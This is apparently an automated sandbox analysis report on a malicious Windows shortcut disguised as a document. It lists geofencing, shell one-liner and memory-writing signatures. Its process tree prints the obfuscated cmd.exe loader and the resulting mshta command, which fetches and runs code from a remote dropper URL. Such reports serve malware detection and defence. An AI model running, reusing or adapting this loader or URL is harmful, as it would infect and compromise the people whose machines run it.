Analysis
- max time kernel
58s - max time network
61s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
- submitted
23/08/2026, 02:13
General
- Target DOC-U15RYP.lnk
- Size 2KB
- Sample260823-cnyk5sha86
- SHA256 ccfac5151b9f30824d10e44b0ceb7d17543dff49424b544cb6e243dfa3965abe
Score
10/10
Malware Config
Extracted
Language
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hta
Source
URLs
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hta.dropper
https://k-documentacion.lat/h/estagio1.php?r=3F1477F15398D1
Signatures
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Suspicious use of WriteProcessMemory 2 IoCs
Processes
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C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DOC-U15RYP.lnk1⤵
- Checks computer location settings
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
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C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /d /V:on /c "set BCA=cfgxovwjfekllkcfg&set wRcE=logtvacfpuxohflnnxlog&set Grkw=cachegsotivgbxpqvobcache&set hpBh=dbgdwrjsrmpbvasvsdbg&set LhRf=awsjx&&set govxd=wutme5&&set fDD=xarto0&set PdXD=tmpeorntmp&set sEy=winaubyfjsswin&set yGfOn=wintvvhrtverpfolwxfowin&set JYC=0xmsnje&&set aUs=sivhtaknu&&set SRqvT=https://k-d@oc@ument@a@c@i@[email protected]/h/estagio1@.@ph@p?@r=3F@1@477F1@5398@D1&&start /b !JYC:~2,2!!aUs:~3,3! !SRqvT:@=!&&set gUvzt=done"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\mshta.exemshta https://k-documentacion.lat/h/estagio1.php?r=3F1477F15398D13⤵
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